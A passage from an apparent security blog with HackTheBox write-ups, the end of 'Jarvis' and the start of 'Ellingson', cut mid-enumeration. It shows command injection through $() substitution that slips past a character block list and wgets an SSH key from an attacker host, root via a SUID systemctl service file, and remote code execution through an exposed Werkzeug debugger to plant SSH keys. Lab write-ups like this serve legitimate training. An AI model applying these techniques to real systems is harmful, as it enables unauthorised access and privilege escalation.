Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
$ sudo -u pepper /var/www/Admin-Utilities/simpler.py
</code></pre></div>
<p>The <code>simpler.py</code> script is the following:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">from</span> <span class="nn">os</span> <span class="kn">import</span> <span class="n">listdir</span>
<span class="kn">import</span> <span class="nn">re</span>
<span class="k">def</span> <span class="nf">show_help</span><span class="p">():</span>
<span class="n">message</span><span class="o">=</span><span class="s1">'''</span>
<span class="s1">********************************************************</span>
<span class="s1">* Simpler - A simple simplifier ;) *</span>
<span class="s1">* Version 1.0 *</span>
<span class="s1">********************************************************</span>
<span class="s1">Usage: python3 simpler.py [options]</span>
<span class="s1">Options:</span>
<span class="s1"> -h/--help : This help</span>
<span class="s1"> -s : Statistics</span>
<span class="s1"> -l : List the attackers IP</span>
<span class="s1"> -p : ping an attacker IP</span>
<span class="s1"> '''</span>
<span class="nb">print</span><span class="p">(</span><span class="n">message</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">show_header</span><span class="p">():</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'''***********************************************</span>
<span class="s1"> _ _</span>
<span class="s1">___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _</span>
<span class="s1">/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |</span>
<span class="s1">\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |</span>
<span class="s1">|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |</span>
<span class="s1"> |_| |_| |___/</span>
<span class="s1"> @ironhackers.es</span>
<span class="s1">***********************************************</span>
<span class="s1">'''</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">show_statistics</span><span class="p">():</span>
<span class="n">path</span> <span class="o">=</span> <span class="s1">'/home/pepper/Web/Logs/'</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Statistics</span><span class="se">\n</span><span class="s1">-----------'</span><span class="p">)</span>
<span class="n">listed_files</span> <span class="o">=</span> <span class="n">listdir</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="n">count</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">listed_files</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Number of Attackers: '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">count</span><span class="p">))</span>
<span class="n">level_1</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">dat</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">ip_list</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">reks</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">ip</span> <span class="o">=</span> <span class="s1">''</span>
<span class="n">req</span> <span class="o">=</span> <span class="s1">''</span>
<span class="n">rek</span> <span class="o">=</span> <span class="s1">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">listed_files</span><span class="p">:</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span> <span class="o">+</span> <span class="n">i</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">)</span>
<span class="n">lines</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
<span class="n">level2</span><span class="p">,</span> <span class="n">rek</span> <span class="o">=</span> <span class="n">get_max_level</span><span class="p">(</span><span class="n">lines</span><span class="p">)</span>
<span class="n">fecha</span><span class="p">,</span> <span class="n">requ</span> <span class="o">=</span> <span class="n">date_to_num</span><span class="p">(</span><span class="n">lines</span><span class="p">)</span>
<span class="n">ip</span> <span class="o">=</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s1">'.'</span> <span class="o">+</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s1">'.'</span> <span class="o">+</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="s1">'.'</span> <span class="o">+</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="mi">3</span><span class="p">]</span>
<span class="k">if</span> <span class="n">fecha</span> <span class="o">></span> <span class="n">dat</span><span class="p">:</span>
<span class="n">dat</span> <span class="o">=</span> <span class="n">fecha</span>
<span class="n">req</span> <span class="o">=</span> <span class="n">requ</span>
<span class="n">ip2</span> <span class="o">=</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s1">'.'</span> <span class="o">+</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s1">'.'</span> <span class="o">+</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="s1">'.'</span> <span class="o">+</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="mi">3</span><span class="p">]</span>
<span class="k">if</span> <span class="nb">int</span><span class="p">(</span><span class="n">level2</span><span class="p">)</span> <span class="o">></span> <span class="nb">int</span><span class="p">(</span><span class="n">level_1</span><span class="p">):</span>
<span class="n">level_1</span> <span class="o">=</span> <span class="n">level2</span>
<span class="n">ip_list</span> <span class="o">=</span> <span class="p">[</span><span class="n">ip</span><span class="p">]</span>
<span class="n">reks</span><span class="o">=</span><span class="p">[</span><span class="n">rek</span><span class="p">]</span>
<span class="k">elif</span> <span class="nb">int</span><span class="p">(</span><span class="n">level2</span><span class="p">)</span> <span class="o">==</span> <span class="nb">int</span><span class="p">(</span><span class="n">level_1</span><span class="p">):</span>
<span class="n">ip_list</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">ip</span><span class="p">)</span>
<span class="n">reks</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">rek</span><span class="p">)</span>
<span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Most Risky:'</span><span class="p">)</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">ip_list</span><span class="p">)</span> <span class="o">></span> <span class="mi">1</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'More than 1 ip found'</span><span class="p">)</span>
<span class="n">cont</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">ip_list</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">' '</span> <span class="o">+</span> <span class="n">i</span> <span class="o">+</span> <span class="s1">' - Attack Level : '</span> <span class="o">+</span> <span class="n">level_1</span> <span class="o">+</span> <span class="s1">' Request: '</span> <span class="o">+</span> <span class="n">reks</span><span class="p">[</span><span class="n">cont</span><span class="p">])</span>
<span class="n">cont</span> <span class="o">=</span> <span class="n">cont</span> <span class="o">+</span> <span class="mi">1</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Most Recent: '</span> <span class="o">+</span> <span class="n">ip2</span> <span class="o">+</span> <span class="s1">' --> '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">dat</span><span class="p">)</span> <span class="o">+</span> <span class="s1">' '</span> <span class="o">+</span> <span class="n">req</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">list_ip</span><span class="p">():</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Attackers</span><span class="se">\n</span><span class="s1">-----------'</span><span class="p">)</span>
<span class="n">path</span> <span class="o">=</span> <span class="s1">'/home/pepper/Web/Logs/'</span>
<span class="n">listed_files</span> <span class="o">=</span> <span class="n">listdir</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">listed_files</span><span class="p">:</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span> <span class="o">+</span> <span class="n">i</span><span class="p">,</span><span class="s1">'r'</span><span class="p">)</span>
<span class="n">lines</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
<span class="n">level</span><span class="p">,</span><span class="n">req</span> <span class="o">=</span> <span class="n">get_max_level</span><span class="p">(</span><span class="n">lines</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s1">'.'</span> <span class="o">+</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s1">'.'</span> <span class="o">+</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="s1">'.'</span> <span class="o">+</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'.'</span><span class="p">)[</span><span class="mi">3</span><span class="p">]</span> <span class="o">+</span> <span class="s1">' - Attack Level : '</span> <span class="o">+</span> <span class="n">level</span><span class="p">)</span>
<span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">date_to_num</span><span class="p">(</span><span class="n">lines</span><span class="p">):</span>
<span class="n">dat</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span>
<span class="n">ip</span> <span class="o">=</span> <span class="s1">''</span>
<span class="n">req</span><span class="o">=</span><span class="s1">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">:</span>
<span class="k">if</span> <span class="s1">'Level'</span> <span class="ow">in</span> <span class="n">i</span><span class="p">:</span>
<span class="n">fecha</span><span class="o">=</span><span class="p">(</span><span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">' '</span><span class="p">)[</span><span class="mi">6</span><span class="p">]</span> <span class="o">+</span> <span class="s1">' '</span> <span class="o">+</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">' '</span><span class="p">)[</span><span class="mi">7</span><span class="p">])</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">regex</span> <span class="o">=</span> <span class="s1">'(\d+)-(.*)-(\d+)(.*)'</span>
<span class="n">logEx</span><span class="o">=</span><span class="n">re</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">regex</span><span class="p">,</span> <span class="n">fecha</span><span class="p">)</span><span class="o">.</span><span class="n">groups</span><span class="p">()</span>
<span class="n">mes</span> <span class="o">=</span> <span class="n">to_dict</span><span class="p">(</span><span class="n">logEx</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">fecha</span> <span class="o">=</span> <span class="n">logEx</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s1">'-'</span> <span class="o">+</span> <span class="n">mes</span> <span class="o">+</span> <span class="s1">'-'</span> <span class="o">+</span> <span class="n">logEx</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="s1">' '</span> <span class="o">+</span> <span class="n">logEx</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span>
<span class="n">fecha</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">strptime</span><span class="p">(</span><span class="n">fecha</span><span class="p">,</span> <span class="s1">'%Y-%m-</span><span class="si">%d</span><span class="s1"> %H:%M:%S'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">fecha</span> <span class="o">></span> <span class="n">dat</span><span class="p">:</span>
<span class="n">dat</span> <span class="o">=</span> <span class="n">fecha</span>
<span class="n">req</span> <span class="o">=</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">' '</span><span class="p">)[</span><span class="mi">8</span><span class="p">]</span> <span class="o">+</span> <span class="s1">' '</span> <span class="o">+</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">' '</span><span class="p">)[</span><span class="mi">9</span><span class="p">]</span> <span class="o">+</span> <span class="s1">' '</span> <span class="o">+</span> <span class="n">i</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">' '</span><span class="p">)[</span><span class="mi">10</span><span class="p">]</span>
<span class="k">return</span> <span class="n">dat</span><span class="p">,</span> <span class="n">req</span>
<span class="k">def</span> <span class="nf">to_dict</span><span class="p">(</span><span class="n">name</span><span class="p">):</span>
<span class="n">month_dict</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'Jan'</span><span class="p">:</span><span class="s1">'01'</span><span class="p">,</span><span class="s1">'Feb'</span><span class="p">:</span><span class="s1">'02'</span><span class="p">,</span><span class="s1">'Mar'</span><span class="p">:</span><span class="s1">'03'</span><span class="p">,</span><span class="s1">'Apr'</span><span class="p">:</span><span class="s1">'04'</span><span class="p">,</span> <span class="s1">'May'</span><span class="p">:</span><span class="s1">'05'</span><span class="p">,</span> <span class="s1">'Jun'</span><span class="p">:</span><span class="s1">'06'</span><span class="p">,</span><span class="s1">'Jul'</span><span class="p">:</span><span class="s1">'07'</span><span class="p">,</span><span class="s1">'Aug'</span><span class="p">:</span><span class="s1">'08'</span><span class="p">,</span><span class="s1">'Sep'</span><span class="p">:</span><span class="s1">'09'</span><span class="p">,</span><span class="s1">'Oct'</span><span class="p">:</span><span class="s1">'10'</span><span class="p">,</span><span class="s1">'Nov'</span><span class="p">:</span><span class="s1">'11'</span><span class="p">,</span><span class="s1">'Dec'</span><span class="p">:</span><span class="s1">'12'</span><span class="p">}</span>
<span class="k">return</span> <span class="n">month_dict</span><span class="p">[</span><span class="n">name</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">get_max_level</span><span class="p">(</span><span class="n">lines</span><span class="p">):</span>
<span class="n">level</span><span class="o">=</span><span class="mi">0</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">lines</span><span class="p">:</span>
<span class="k">if</span> <span class="s1">'Level'</span> <span class="ow">in</span> <span class="n">j</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">int</span><span class="p">(</span><span class="n">j</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">' '</span><span class="p">)[</span><span class="mi">4</span><span class="p">])</span> <span class="o">></span> <span class="nb">int</span><span class="p">(</span><span class="n">level</span><span class="p">):</span>
<span class="n">level</span> <span class="o">=</span> <span class="n">j</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">' '</span><span class="p">)[</span><span class="mi">4</span><span class="p">]</span>
<span class="n">req</span><span class="o">=</span><span class="n">j</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">' '</span><span class="p">)[</span><span class="mi">8</span><span class="p">]</span> <span class="o">+</span> <span class="s1">' '</span> <span class="o">+</span> <span class="n">j</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">' '</span><span class="p">)[</span><span class="mi">9</span><span class="p">]</span> <span class="o">+</span> <span class="s1">' '</span> <span class="o">+</span> <span class="n">j</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">' '</span><span class="p">)[</span><span class="mi">10</span><span class="p">]</span>
<span class="k">return</span> <span class="n">level</span><span class="p">,</span> <span class="n">req</span>
<span class="k">def</span> <span class="nf">exec_ping</span><span class="p">():</span>
<span class="n">forbidden</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'&'</span><span class="p">,</span> <span class="s1">';'</span><span class="p">,</span> <span class="s1">'-'</span><span class="p">,</span> <span class="s1">'`'</span><span class="p">,</span> <span class="s1">'||'</span><span class="p">,</span> <span class="s1">'|'</span><span class="p">]</span>
<span class="n">command</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s1">'Enter an IP: '</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">forbidden</span><span class="p">:</span>
<span class="k">if</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">command</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Got you'</span><span class="p">)</span>
<span class="n">exit</span><span class="p">()</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s1">'ping '</span> <span class="o">+</span> <span class="n">command</span><span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">show_header</span><span class="p">()</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">show_help</span><span class="p">()</span>
<span class="n">exit</span><span class="p">()</span>
<span class="k">if</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'-h'</span> <span class="ow">or</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'--help'</span><span class="p">:</span>
<span class="n">show_help</span><span class="p">()</span>
<span class="n">exit</span><span class="p">()</span>
<span class="k">elif</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'-s'</span><span class="p">:</span>
<span class="n">show_statistics</span><span class="p">()</span>
<span class="n">exit</span><span class="p">()</span>
<span class="k">elif</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'-l'</span><span class="p">:</span>
<span class="n">list_ip</span><span class="p">()</span>
<span class="n">exit</span><span class="p">()</span>
<span class="k">elif</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'-p'</span><span class="p">:</span>
<span class="n">exec_ping</span><span class="p">()</span>
<span class="n">exit</span><span class="p">()</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">show_help</span><span class="p">()</span>
<span class="n">exit</span><span class="p">()</span>
</code></pre></div>
<p>We notice the <code>exec_ping</code> function calling <code>os.system()</code>. As there is forbidden
character we cannot simply execute a second command (with a <code>;</code> or a <code>&&</code>).
Nevertheless we can try to ping the result of a command with the following
<code>$(<command/>)</code>.
We mount a python web server with our ssh public key renamed <code>authorized\_keys</code> and
download it from the box:</p>
<div class="highlight"><pre><span></span><code>Enter an IP: $(wget 10.10.15.31:8080/authorized_keys)
</code></pre></div>
<p>We then create the <code>.ssh</code> folder in pepper home and move the key:</p>
<div class="highlight"><pre><span></span><code>Enter an IP: $(mkdir /home/pepper/.ssh)
Enter an IP: $(mv authorized_keys /home/pepper/.ssh/)
</code></pre></div>
<p>We can then connect to the box with ssh and get the user flag:</p>
<div class="highlight"><pre><span></span><code>ssh -lpepper 10.10.10.143
Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64
<snip>
Last login: Thu Oct 3 09:38:52 2019 from 10.10.15.31
pepper@jarvis:~$ cat user.txt
2afa36<redacted>
</redacted></snip></code></pre></div>
<h1>Let's get root</h1>
<p>We enumerate the box as always.
We found that the systemctl binary is SUID.</p>
<div class="highlight"><pre><span></span><code>pepper@jarvis:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
</code></pre></div>
<p><a href="https://gtfobins.github.io/gtfobins/systemctl/#suid">GTFOBins</a> show how
to exploit that misconfiguration.
First we create a temporary file:</p>
<div class="highlight"><pre><span></span><code>pepper@jarvis:~$ TF=$(mktemp).service
</code></pre></div>
<p>We write a service file inside. This service run the command <code>id</code> and put the
result in a file:</p>
<div class="highlight"><pre><span></span><code>pepper@jarvis:~$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "id > /tmp/output"
> [Install]
> WantedBy=multi-user.target' > $TF
</code></pre></div>
<p>We link the service using sysemctl:</p>
<div class="highlight"><pre><span></span><code>pepper@jarvis:~$ /bin/systemctl link $TF
Created symlink /etc/systemd/system/tmp.iyGBjTyKtn.service → /tmp/tmp.iyGBjTyKtn.service.
</code></pre></div>
<p>We start the service using sysemctl:</p>
<div class="highlight"><pre><span></span><code>pepper@jarvis:~$ /bin/systemctl enable --now $TF
Created symlink /etc/systemd/system/multi-user.target.wants/tmp.iyGBjTyKtn.service → /tmp/tmp.iyGBjTyKtn.service.
</code></pre></div>
<p>We get the result of the <code>id</code> command in <code>/tmp/output</code>.</p>
<div class="highlight"><pre><span></span><code>pepper@jarvis:~$ cat /tmp/output
uid=0(root) gid=0(root) groups=0(root)
</code></pre></div>
<p>The command was executed. Now we create a second service which will output the
root's flag:</p>
<div class="highlight"><pre><span></span><code>pepper@jarvis:~$ TF2=$(mktemp).service
pepper@jarvis:~$ echo '[Service]
> Type=oneshot
> ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
> [Install]
> WantedBy=multi-user.target' > $TF2
pepper@jarvis:~$ /bin/systemctl link $TF2
Created symlink /etc/systemd/system/tmp.ZcSgmH8PDr.service → /tmp/tmp.ZcSgmH8PDr.service.
pepper@jarvis:~$ /bin/systemctl enable --now $TF2
Created symlink /etc/systemd/system/multi-user.target.wants/tmp.ZcSgmH8PDr.service → /tmp/tmp.ZcSgmH8PDr.service.
pepper@jarvis:~$ cat /tmp/output
d41d8<redacted>
</redacted></code></pre></div>
<h1>Wrapping up</h1>
<p>This box was a nice one. It has been a long time since my last usage of
<code>sqlmap --os-shell</code> command.
The movement from <code>www-data</code> to <code>pepper</code> was easy and the privilege
escalation let me learn new things about systemd.</p>HTB: Ellingson2019-10-21T11:25:00+02:002019-10-21T11:25:00+02:00maggicktag:maggick.fr,2019-10-21:/2019/10/htb-ellingson.html<p><img alt="Ellingson card" class="align-left" src="/media/2019.10/ellingson_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/189">Ellingson</a>
This box is classified as a hard machine. The user is not too hard to get as it
require to know python and password's cracking. The root part is really hard as this
require the exploitation of a ROP buffer overflow.</p>
<p><em>Note: if you just want to play with the buffer overflow, the binary is
available on this site, just go to the
<a href="https://maggick.fr/2019/10/htb-ellingson.html#analysing-the-buffer-overflow">"Analysing the Buffer Overflow" section</a></em>.</p>
<p><img alt="Ellingson card" class="align-left" src="/media/2019.10/ellingson_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/189">Ellingson</a>
This box is classified as a hard machine. The user is not too hard to get as it
require to know python and password's cracking. The root part is really hard as this
require the exploitation of a ROP buffer overflow.</p>
<p><em>Note: if you just want to play with the buffer overflow, the binary is
available on this site, just go to the
<a href="https://maggick.fr/2019/10/htb-ellingson.html#analysing-the-buffer-overflow">"Analysing the Buffer Overflow" section</a></em>.</p>
<h1>Recon</h1>
<p>We start with an nmap scan. Only the ports 22 (SSH) and 80 (HTTP) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Thu Sep 26 13:34:45 2019 as: nmap -oA 10.10.10.139 -sSV 10.10.10.139
Nmap scan report for 10.10.10.139
Host is up (0.086s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 26 13:35:00 2019 -- 1 IP address (1 host up) scanned in 14.76 seconds
</code></pre></div>
<h1>Web</h1>
<p>The website is a standard corporate website (we can appreciate the dynamic rendering).</p>
<p><img alt="Ellingson web page" class="image-process-article-image" src="/media/2019.10/derivatives/article-image/ellingson_1.png"/></p>
<p>When browsing the articles, we notice that there is an ID at the end of the URL.
If we put a non standard value like <code>2-1</code> or put an ID greater than expected we
generate an error and a stacktrace. This debugger integrate a python
interpretor:</p>
<p><img alt="Werkzeug debugger" class="image-process-article-image" src="/media/2019.10/derivatives/article-image/ellingson_3.png"/></p>
<h1>User</h1>
<p>From there we can input python's commands and using the <code>OS</code> module we can
execute command on the system. In order to get a shell we can simply upload our
SSH public key in the current user (hal) <code>authorized_keys</code> file.</p>
<div class="highlight"><pre><span></span><code>>>> import os; os.popen('whoami').read()
'hal\n'
>>> import os; os.system('mkdir ~/.ssh/')
256
>>> import os; os.system('echo \'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6A/eqoQWIz14pbJ4L3Tsf+GzWv/O8Ym81ICPKpmyEl9cr3DyqCETUijFpMl6LYsdgc97EEdR6d2Xa2mpGMyDHRJSQGJJf2KehUBi6EqrkyEnPfMWNso50UtvzLwOUuxXTYmQ8iTGk3V5PbM0NHG7UQsABELrDL11NNKlV3XkuHE/yTuJQ0f80/ZDQFC7BzIfsl5iE3RmE+kRxTOyxniGwFW1bxYVW1Iqfw7isNVSyn0lkRgkSQjb2fKtFPdGughBm2j3O0+aPrRQyC7iytabc/Y8R248ziAVxqP/Nq8CEFAGXXoX8LS9WSIUfvMwqWevjbUxIKivOfGP9G8Tb994KaQFPUH13oku6GtoymAcaKjuscAHiD7q+1RJqOLg1qV7HVOzMFe46NdmGrK1dGqydfkTVjgwWJk0Swe/wJM8bIYIt6rG8/1kKDgBh86XeP4HDtj+fQo0+07RVrnFXPdBliyKPWIV2sz+qO/JCyX73YgYupps1/lsLb+l4N1BaUnk=\'>>~/.ssh/authorized_keys')
0
>>> import os; os.system('chmod 644 ~/.ssh/authorized_keys')
0
</code></pre></div>
<p>As our SSH public key is in hal's <code>authorzied_key</code> we can connect as hal using
SSH and starting to enumerate. The user flag is not in the hal's home folder:</p>
<div class="highlight"><pre><span></span><code>sh 10.10.10.139 -lhal
hal@ellingson:~$ whoami
hal
hal@ellingson:~$ ls /home/
duke hal margo theplague
</code></pre></div>
<p>We enumerate the box and find an interesting non standard SUID binary:</p>
<div class="highlight"><pre><span></span><code>hal@ellingson:~$ find / -uid 0 -perm -4000 -type f 2>/dev/null
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/garbage
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/chsh
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/umount
/bin/ntfs-3g
/bin/ping
/bin/mount
/bin/fusermount
</code></pre></div>
<p>Nevertheless we do not have the permission to execute it:</p>
<div class="highlight"><pre><span></span><code>hal@ellingson:~$ ls -al /usr/bin/garbage
-rwsr-xr-x 1 root root 18056 Mar 9 2019 /usr/bin/garbage
hal@ellingson:~$ /usr/bin/garbage
User is not authorized to access this application. This attempt has been logged.
</code></pre></div>
<p>We need another way. We see that we are in the group <code>adm</code> (in addition to our user group):</p>
<div class="highlight"><pre><span></span><code>hal@ellingson:~$ id
uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)
</code></pre></div>
<p><strong>I struggled for a long time here before someone on the official discord told
me that after a few hours
the file permissions are changed and the file does not belong to <code>adm</code> group
anymore. I had to reset the box to find this file.</strong></p>
<p>Let us list what files are belonging to this group:</p>
<div class="highlight"><pre><span></span><code>hal@ellingson:~$ find / -group adm 2> /dev/null
/var/backups/shadow.bak
/var/spool/rsyslog
